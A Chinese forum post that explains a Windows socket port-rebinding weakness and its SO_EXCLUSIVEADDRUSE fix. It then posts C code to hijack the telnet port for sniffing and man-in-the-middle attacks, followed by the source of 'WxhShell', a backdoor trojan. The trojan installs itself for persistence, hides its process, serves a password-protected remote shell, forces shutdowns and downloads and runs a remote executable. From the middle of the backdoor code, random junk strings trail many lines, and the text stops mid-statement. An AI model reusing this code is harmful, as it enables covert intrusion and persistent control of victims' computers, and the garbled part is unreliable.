[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; Ux_tHyc/
if(chr[0]==0xd || chr[0]==0xa) { T(@y#09
pwd=0; y74Ph:^k
break; b>|3?G
} e(/~;"r{
i++; }V.Wp6"S
} ZA@QP1
b&.j>=
// 如果是非法用户，关闭 socket 4am`X1YV#
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]^,<Ez
} d4c-(ZRl
Lq@pJ)a
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p8<Y5:`
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $x&@!/&|pv
*@'4 A :A
while(1) { 8zew8I~s
G%N/]]ll
ZeroMemory(cmd,KEY_BUFF); BXgAohg!
/E'cy
// 自动支持客户端 telnet标准 +RexQE
j=0; x2B~1edf
while(j<KEY_BUFF) { Sbub|
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #W#GI"K
cmd[j]=chr[0]; ;Ab`b1B
if(chr[0]==0xa || chr[0]==0xd) { *ayn<Vlh`^
cmd[j]=0; mQt';|X@
break; %1ofu,%
} 2kV[A92s
j++; S -j<O&h~C
} .uzg2Kd_
:5X1Tr=A
// 下载文件 8U!;
if(strstr(cmd,"http://")) { Hl"rGA>
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 55xv+|k
if(DownloadFile(cmd,wsh)) 4`@]jm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |ubDudzp
else `{fqnNJE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u9>zC QRO
} *<*{gO?Q4
else { 4HlOv%8
8[LwG&
switch(cmd[0]) { ;+]9KIa_Pq
Dt,b\6
// 帮助 & f7{3BK
case '?': { yoTbIQ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?29zcuRaru
break; @xR7>-$0p
} )e.Y"5My
// 安装 v)@EK6Nty
case 'i': { *OU>s;"$
if(Install()) Xv3u}nPMq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IuDg-M[
else 0T2h3,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q g=k@
break; z'a#lA.$}
} G)\s{qk
// 卸载 c;_GZ}8
case 'r': { ?(GMe>
if(Uninstall()) WTPp/Nq'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GSg|Gz""J0
else /0QGU4=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z;shFMu
break; <>GWSW
} 6GCwc1g
// 显示 wxhshell 所在路径 f!;i$Oif
case 'p': { BQWEC,*N
char svExeFile[MAX_PATH]; !}wJ+R ^2
strcpy(svExeFile,"\n\r"); &T?>Kx
strcat(svExeFile,ExeFile); HM%n`1ZU
send(wsh,svExeFile,strlen(svExeFile),0); P_+S;(QQ~d
break; >B$ZKE
} A+%oE
// 重启 F\!;}z
case 'b': { =W)Fa6P3j(
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hGi"=Oud2
if(Boot(REBOOT)) ($*bwqp]}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /km^IH
else { {\22C `9t
closesocket(wsh); 9 O| "Ws>{
ExitThread(0); 0'O;H[nrl
} ey<u
break; v'*
} "!<Kmh5
// 关机 6'W79
case 'd': { ~rEU83
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :P`sK&b_
if(Boot(SHUTDOWN)) RC Fb&,51
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GL&ri!,
else { 7k{Oae\$
closesocket(wsh); !\Jj}iX3_
ExitThread(0); 8}Rwf?B
} fI}Z`*
break; N8(xz-6
} Z"Z&X0Oj
// 获取shell Nj||^k
case 's': { LFy5tX#
CmdShell(wsh); I1U{t
closesocket(wsh); =zXpeo&|m
ExitThread(0); q /EK]B
break; k:PO"<-U
} '5wa"/ ?w
// 退出 <lZyUd
case 'x': { AbUPJF"F
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >FPE%X0+
CloseIt(wsh); |Q:$G!/
break; &'V_80vA
} Py\xN
// 离开 $K^"a
case 'q': { Z@&_ T3M
send(wsh,msg_ws_end,strlen(msg_ws_end),0); rz+G]J
closesocket(wsh); N kp>yVj
WSACleanup(); B, nCx=\S
exit(1); gT-'#K2qT
break; bs U$mtW
} 1C+Y|p?KA
} |J2_2a/"
} a*hOT_;#
h8>7si
// 提示信息 u7G@VZ Ux5
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'vj45b
} )hK5_]"lmj
} %KNnss}
kHd_q.
return; O_0|Q@
} L q8}z-?
~R-S$qizAC
// shell模块句柄 Yo@>O98
int CmdShell(SOCKET sock) 1B=vrGq
{ Da1BxbDeI
STARTUPINFO si; gbwKT`N*
ZeroMemory(&si,sizeof(si)); DbJ:KQ!*
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .g DWv
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4][m!dsU
PROCESS_INFORMATION ProcessInfo; t5N@z
char cmdline[]="cmd"; @i&LKr8
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B1c`(mHl
return 0; 62rTGbDbx
} 0!veLXeK!
zkn K2e,$
// 自身启动模式 !uLAW_~
int StartFromService(void) @Ek''a$
{ m9ts&b+TE
typedef struct F6h3M~uR
{ K+Q81<X~
DWORD ExitStatus; %]nYv#K
DWORD PebBaseAddress; D|Wekhm
DWORD AffinityMask; ]B=B@UO@.
DWORD BasePriority; <(`dU&&%"}
ULONG UniqueProcessId; )5gcLD/zI
ULONG InheritedFromUniqueProcessId; |\@e
} PROCESS_BASIC_INFORMATION; 6kGIO$xJ)
5+rYk|*D+k
PROCNTQSIP NtQueryInformationProcess; 5tHv'@
OP]=MZP|
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Dk|S`3
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (~xFd^W9o
&>0=v
HANDLE hProcess; 5^cPG" 4@
PROCESS_BASIC_INFORMATION pbi; !I]fNTv<
W=}l=o!G.
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p.TR1BHw
if(NULL == hInst ) return 0; \$^z.
xr?=gY3E;
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5 g99t$p9
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UoPd>q4Uj
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~6.AE/ow
~!meO;|W
if (!NtQueryInformationProcess) return 0; pA3j@w
&tw.]3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /:>qhRFJA:
if(!hProcess) return 0; (*7edc"F
P~redX=t@
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kU_bLC?>D
j+]>x]c0
CloseHandle(hProcess); .3qaaXeH
NZ9=hI;iM
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;j=/2vU~@
if(hProcess==NULL) return 0; NSHWs%Zc
NLw#b?%
HMODULE hMod; 'P32G?1C&p
char procName[255]; $5r[YdnY<
unsigned long cbNeeded; w;0NtV|
o4o&}
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s#;|8_L M
ncb?iJ/b^
CloseHandle(hProcess); wX8T;bo&
~/Aw[>_;
if(strstr(procName,"services")) return 1; // 以服务启动 pA='(G
vmAMlgZ8{<
return 0; // 注册表启动 `j0T[Pi
} =+~e44!~D
bM_Y(TgJ
// 主模块 f%ZqK_CW
int StartWxhshell(LPSTR lpCmdLine) [0yKd?e
{ ?(Dkh${@
SOCKET wsl; 9H2^4D8
BOOL val=TRUE; YoGnk^$
int port=0; `j(\9j ok
struct sockaddr_in door; QUb#;L@okn
'?E^\\"*
if(wscfg.ws_autoins) Install(); ldrKk'S,B
P.3j |)NW
port=atoi(lpCmdLine); Im{50%Y
Vi23pDZ5
if(port<=0) port=wscfg.ws_port; Wd~aSz9
o;{
WSADATA data; 9@./=5N~3
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HC*=E.J
}+#-\a2
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *GbC`X)
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); # ,u7lAz
door.sin_family = AF_INET; ,IA0n79
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~;aSX1
door.sin_port = htons(port); '{\VOU
m;WUp{'
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "@Bc eD
closesocket(wsl); Xlw&hKS
return 1; C16MzrB}(N
} cn v4!c0
gHQ[D|zu
if(listen(wsl,2) == INVALID_SOCKET) { djS?$WBpU
closesocket(wsl); b(_PCVC
return 1; -_ .f&l8
} bRJYw6oA<
Wxhshell(wsl); GbwcbfH
WSACleanup(); ^6#FqK+{u
S9<J\`FG
return 0; )W:`Q&/G
YM 0f_G=
} ?Vb=W)Es
1}tZ,w>
// 以NT服务方式启动 yAU[A
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |rH;}t|un
{ :t?9$ dL
DWORD status = 0; -. L)-%wIV
DWORD specificError = 0xfffffff; chQt8Ar3
S6h=} V)
serviceStatus.dwServiceType = SERVICE_WIN32; e-,U@_B
serviceStatus.dwCurrentState = SERVICE_START_PENDING; xM9EO(u
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F}DdErd!f
serviceStatus.dwWin32ExitCode = 0; zPe4WE|
serviceStatus.dwServiceSpecificExitCode = 0; R/waWz\D
serviceStatus.dwCheckPoint = 0; %'kaNpBz
serviceStatus.dwWaitHint = 0; v$K`C;
(;$J5
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Vg#s
if (hServiceStatusHandle==0) return; 3Ku!;uo!u
] ^tor
status = GetLastError(); AT<gV/1l
if (status!=NO_ERROR) 00Tm0rY
{ sD1L P
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^*`{W4e]
serviceStatus.dwCheckPoint = 0; s!~M,zsQN
serviceStatus.dwWaitHint = 0; 9.qIhg
serviceStatus.dwWin32ExitCode = status; <t,uj.9_
serviceStatus.dwServiceSpecificExitCode = specificError; 3q R@$pm
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lt8chNi [
return; XASoS5
} lJi'%bOi
4-eb&
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0L$v7, 5
serviceStatus.dwCheckPoint = 0; L5(rP\B
serviceStatus.dwWaitHint = 0; 'jZ2^
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v!E0/ gD
} E8T4Nh_
HelC_%#^
// 处理NT服务事件，比如：启动、停止 c ^G\w+_
VOID WINAPI NTServiceHandler(DWORD fdwControl) (?J6vK}S
{ Cc0`Ylx~(
switch(fdwControl) <&n3"
{ U u(ysN4`
case SERVICE_CONTROL_STOP: K$\az%NE
serviceStatus.dwWin32ExitCode = 0; jj0@ez{3
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;9q3FuR
serviceStatus.dwCheckPoint = 0; YPDc /
serviceStatus.dwWaitHint = 0; ?1xBhKq
{ 3P6pQm'.f
SetServiceStatus(hServiceStatusHandle, &serviceStatus); F@kOj*5,[
} *DLv$/(0
return; p>Ju)o
case SERVICE_CONTROL_PAUSE: l,1}1{k&
serviceStatus.dwCurrentState = SERVICE_PAUSED; <]b}R;9v
break; Dj;h!8t.
case SERVICE_CONTROL_CONTINUE: >MUwT$szs
serviceStatus.dwCurrentState = SERVICE_RUNNING; /R8>f
break; KunK.m
case SERVICE_CONTROL_INTERROGATE: 'd]9u9u
break; 4\pi<#X
}; *ys@'Ai?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); uTpKT7t
} 79~,KFct
I}puN!
// 标准应用程序主函数 Xj&{M[k<
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7$z")JB
{ ~=Z&l
K8pfk*NZ_@
// 获取操作系统版本 rwtSn?0z"
OsIsNt=GetOsVer(); QBR9BR
GetModuleFileName(NULL,ExeFile,MAX_PATH); )?%FU?2jrn
R$K.;
// 从命令行安装 7,!Mmu
if(strpbrk(lpCmdLine,"iI")) Install(); =jkC]0qx
aj20, w
// 下载执行文件 R)I 8 )
if(wscfg.ws_downexe) { ^8o'\V"m^
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /1h`O@VA
